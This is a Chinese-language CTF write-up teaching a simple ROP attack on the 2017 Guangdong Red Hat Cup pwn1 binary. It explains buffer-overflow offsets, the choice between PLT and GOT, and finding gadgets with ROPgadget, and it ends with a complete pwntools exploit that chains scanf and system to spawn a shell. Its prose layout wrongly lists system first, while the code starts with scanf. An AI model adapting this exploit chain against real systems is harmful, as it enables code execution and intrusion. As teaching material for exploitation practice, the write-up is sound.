1. 程式人生 > >【pwn學習】簡單ROP練習之2017廣東紅帽杯pwn1

【pwn學習】簡單ROP練習之2017廣東紅帽杯pwn1

原標題:2017廣東紅帽杯pwn1_writeup:簡單ROP

先來正能量一波:作為一個一直沒入門pwn的小菜鳥,這一段時間一直被學弟按在地上摩擦很不爽很不爽~~~~~~~~

------------------------------------------------------------------------------------

先給出幾個學習連結:

論文:

Return-Oriented-Programming(ROP FTW) By Saif El-Sherei

拿到一個pwn題時,第一反應是開了哪些保護:checksec檢查一下

NX enabled是開啟了棧不可執行,這時ROP就有應用空間了

ROP是要非常非常熟悉棧結構的:首先構造緩衝區溢位,然後控制eip就控制了程式流程,然後一般的rop是這樣構造的:

【Address of pop eax,ret gadget】

【data】

【Address of next gadget】

……

我的理解是:ROP是構造了一條程式碼執行鏈的跳轉過程,這個鏈呼叫執行了多個函式,一般以執行system(‘/bin/sh’)為目的(簡單題都是這樣)

在控制函式跳轉的時候,我們要關注的是兩個問題:A。函式的引數怎麼安排地方。B。這個函式執行完了之後,下個函式怎麼去執行

這個題是控制了scanf+system

很明顯的緩衝區溢位,gdb除錯可以知道輸入52個字元之後,可以控制程式流程

先給出思路:

我們利用scanf函式,首先執行函式scanf(“%s”,bss段),這樣我們可以輸入/bin/sh放到bss段裡,然後再執行system(bss段),相當於執行了system("/bin/sh")

那麼我們需要知道:scanf地址,system地址,bss段基址,%s格式化字串的地址

ROP怎麼用的呢?根據函式執行鏈來使用,先執行的是scanf的地址,下一條指令需要是我們的返回地址,即我們需要跳轉到的地址:我們需要跳轉到system的地址,也就是跳過system的兩個引數,那麼需要安排pop pop ret,system道理同樣

那麼ROP的佈局如下:

【system_addr】+【pop_pop_ret(在執行完一個函式之後,跳過引數去往下一個需要執行的函式的地方)】+【%s地址】+【bss段基址】(這裡兩個是scanf的引數,在執行完畢scanf後,這兩個值會被pop掉,然後ret執行的是下一個地址,我們這裡安排的是system的地址)+【system地址】+【‘aaaa’】(任意四個位元組作為返回地址)+【bss段基址】

然後就是除錯過程,如何找到這些地址

(1)got和plt的區別:IDA裡有兩個system和兩個scanf的值,用哪一個。涉及到linux延時繫結的原理:用plt

(2)bss段基址:readelf -S pwn1

pop pop ret的地址我們需要用ROPgadget工具來找

ROPgadget  --binary pwn1 --only "pop|pop|ret"

然後就把對應地址填上去就好了

關於如何除錯:直接gdb除錯程式不太好,很容易出現本機弄好了伺服器上不對的情況

更好的方式是採取除錯py程式碼,gdb掛載的方式:即在python程式碼中需要除錯的地方寫上gdb.attach(io)

ROP的除錯主要是找到緩衝區溢位處的ret,然後檢視棧記憶體的佈局

首先單步執行到程式緩衝區溢位的地方的ret指令處,下一步就是我們可以控制的流程,檢視棧記憶體

ret的地方,前7個都是我寫進去的,說明搞對了咯

py程式碼:

  1. from pwn import *  
  2. io = process('./pwn1')  
  3. io.recvline()  
  4. elf = ELF('./pwn1')  
  5. plt_scanf = 0x08048410
  6. plt_system = 0x080483E0
  7. pop_pop_ret = 0x080485EE
  8. bss_addr = 0x0804A040
  9. format_s_addr = 0x08048629
  10. payload = p32(plt_scanf)  
  11. payload += p32(pop_pop_ret)  
  12. payload += p32(format_s_addr)  
  13. payload += p32(bss_addr)  
  14. payload += p32(plt_system)  
  15. payload += "aaaa"
  16. payload += p32(bss_addr)  
  17. gdb.attach(io)  
  18. io.sendline("A" * 52 + payload)  
  19. io.sendline('/bin/sh')  
  20. io.interactive()